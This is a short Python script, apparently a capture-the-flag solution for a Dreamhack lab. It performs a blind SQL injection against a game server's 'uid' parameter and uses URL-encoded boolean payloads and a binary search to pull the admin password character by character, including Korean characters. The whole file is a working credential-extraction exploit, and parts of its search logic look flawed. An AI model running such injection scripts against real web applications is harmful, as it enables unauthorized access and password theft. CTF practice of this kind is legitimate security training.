import os
import requests
URL = "http://host3.dreamhack.games:17636/?uid="


def binary_search(arr,n):
	low, high = 0, len(arr) - 1
	
	while low <= high:
		mid = (low + high) // 2
		mid_value = arr[mid]
		BIG = Big(Payload(n,mid_value),mid_value)
		if Big("%7D%27+or+uid%3D%27admin%27+and+ascii%28substr%28upw%2C{}%2C1%29%29={}%23".format(n,mid_value),mid_value):
			return (chr(arr[low]))
		elif not BIG:
	        	low = mid + 1  # 중간값이 타겟보다 작으면 오른쪽 반을 탐색
		else:
			high = mid - 1  # 중간값이 타겟보다 크면 왼쪽 반을 탐색
	return ""  # low 반환


def Payload(n,i):
	return "%7D%27+or+uid%3D%27admin%27+and+ascii%28substr%28upw%2C{}%2C1%29%29<{}%23".format(n,i)

def Big(PAYLOAD,i):
	global URL,answer
		
	print("Payload : ",answer+chr(i))
	res=requests.get(URL+PAYLOAD,"")
	if "exist" in (res.text):
		
		return True
	else:
		return False


answer=''
for n in range(1,30):
	if Big(Payload(n,126),126):
		ans = binary_search(range(32,127),n)
	elif Big(Payload(n,50813),50813):
		ans = binary_search(range(44032,50813),n)

	answer+=ans
				

print("FLAG : "+answer)